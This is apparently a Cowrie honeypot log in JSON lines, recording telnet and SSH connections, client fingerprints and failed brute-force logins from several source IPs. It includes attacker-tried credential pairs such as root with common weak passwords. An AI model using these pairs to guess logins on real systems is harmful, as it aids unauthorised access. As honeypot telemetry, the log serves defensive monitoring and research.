{"eventid":"cowrie.session.closed","duration":30.869357585906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:42.235951Z","src_ip":"154.0.174.194","session":"3242dda2b138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:43.195494Z","src_ip":"192.109.200.78","session":"d1df2827f950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9205584526062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:43.586456Z","src_ip":"154.0.174.194","session":"65cf4945c132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.174.194","src_port":48392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d272f48ae27","protocol":"telnet","message":"New connection: 154.0.174.194:48392 (10.17.0.5:23) [session: 3d272f48ae27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:43.848966Z"}
{"eventid":"cowrie.session.closed","duration":36.94237542152405,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:43.886134Z","src_ip":"206.189.71.75","session":"912bb775ab92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34470,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d210a19403e","protocol":"ssh","message":"New connection: 192.109.200.78:34470 (10.17.0.5:22) [session: 8d210a19403e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:45.796345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:45.801288Z","src_ip":"192.109.200.78","session":"8d210a19403e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:45.888055Z","src_ip":"192.109.200.78","session":"8d210a19403e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:46.143944Z","src_ip":"192.109.200.78","session":"8d210a19403e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44136,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f643b7f386b","protocol":"telnet","message":"New connection: 206.189.71.75:44136 (159.203.135.109:23) [session: 7f643b7f386b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:47.103423Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:47.228254Z","src_ip":"192.109.200.78","session":"8d210a19403e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07647156715393,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:47.678967Z","src_ip":"206.189.71.75","session":"2829195ba25c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44924,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d35ba10cda8","protocol":"telnet","message":"New connection: 206.189.71.75:44924 (159.203.135.109:23) [session: 9d35ba10cda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:47.978746Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47550,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e15a3dcb76c","protocol":"ssh","message":"New connection: 192.109.200.78:47550 (10.17.0.5:22) [session: 5e15a3dcb76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:49.898744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:49.907779Z","src_ip":"192.109.200.78","session":"5e15a3dcb76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:49.989760Z","src_ip":"192.109.200.78","session":"5e15a3dcb76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:50.514363Z","src_ip":"192.109.200.78","session":"5e15a3dcb76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:51.602585Z","src_ip":"192.109.200.78","session":"5e15a3dcb76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21860957145691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:52.357857Z","src_ip":"154.0.174.194","session":"ea1594ff8052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85529899597168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:52.601672Z","src_ip":"154.0.174.194","session":"9692934e7151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47554,"dst_ip":"10.17.0.5","dst_port":22,"session":"afbf39c02926","protocol":"ssh","message":"New connection: 192.109.200.78:47554 (10.17.0.5:22) [session: afbf39c02926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:54.146477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:54.151836Z","src_ip":"192.109.200.78","session":"afbf39c02926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:54.234367Z","src_ip":"192.109.200.78","session":"afbf39c02926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:54.498589Z","src_ip":"192.109.200.78","session":"afbf39c02926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467000484466553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:55.134458Z","src_ip":"154.0.174.194","session":"edfa520e07df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55031967163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:55.275496Z","src_ip":"154.0.174.194","session":"0b5fe26a13dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:55.582836Z","src_ip":"192.109.200.78","session":"afbf39c02926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52578,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf727a6cce1f","protocol":"ssh","message":"New connection: 192.109.200.78:52578 (10.17.0.5:22) [session: bf727a6cce1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:58.175779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:58.183458Z","src_ip":"192.109.200.78","session":"bf727a6cce1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:58.259823Z","src_ip":"192.109.200.78","session":"bf727a6cce1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:58.587319Z","src_ip":"192.109.200.78","session":"bf727a6cce1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31786012649536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:59.504393Z","src_ip":"5.42.229.203","session":"54c249b9cdf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:15:59.672759Z","src_ip":"192.109.200.78","session":"bf727a6cce1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.696458101272583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:01.140550Z","src_ip":"154.0.174.194","session":"c40d9d23879c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52580,"dst_ip":"10.17.0.5","dst_port":22,"session":"188c8782867d","protocol":"ssh","message":"New connection: 192.109.200.78:52580 (10.17.0.5:22) [session: 188c8782867d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:02.221441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:02.226518Z","src_ip":"192.109.200.78","session":"188c8782867d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:02.312768Z","src_ip":"192.109.200.78","session":"188c8782867d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:02.727570Z","src_ip":"192.109.200.78","session":"188c8782867d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:03.815400Z","src_ip":"192.109.200.78","session":"188c8782867d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50654411315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.146301Z","src_ip":"154.0.174.194","session":"e1fa7767ec0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30413317680359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.208483Z","src_ip":"154.0.174.194","session":"8e81c798c79c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52592,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2c978b162a","protocol":"ssh","message":"New connection: 192.109.200.78:52592 (10.17.0.5:22) [session: 3f2c978b162a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.405097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.410740Z","src_ip":"192.109.200.78","session":"3f2c978b162a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.501112Z","src_ip":"192.109.200.78","session":"3f2c978b162a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0502233505249,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.758030Z","src_ip":"206.189.71.75","session":"a55bd43bbbfc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:06.764876Z","src_ip":"192.109.200.78","session":"3f2c978b162a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":52880,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc643330c6e","protocol":"telnet","message":"New connection: 5.42.229.203:52880 (159.203.135.109:23) [session: 7dc643330c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:07.220510Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:07.849849Z","src_ip":"192.109.200.78","session":"3f2c978b162a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60541582107544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:08.289994Z","src_ip":"154.0.174.194","session":"865fff3ada70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36132,"dst_ip":"10.17.0.5","dst_port":22,"session":"c318b677cf75","protocol":"ssh","message":"New connection: 192.109.200.78:36132 (10.17.0.5:22) [session: c318b677cf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:10.533482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:16:10.556075Z","src_ip":"192.109.200.78","session":"c318b677cf75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS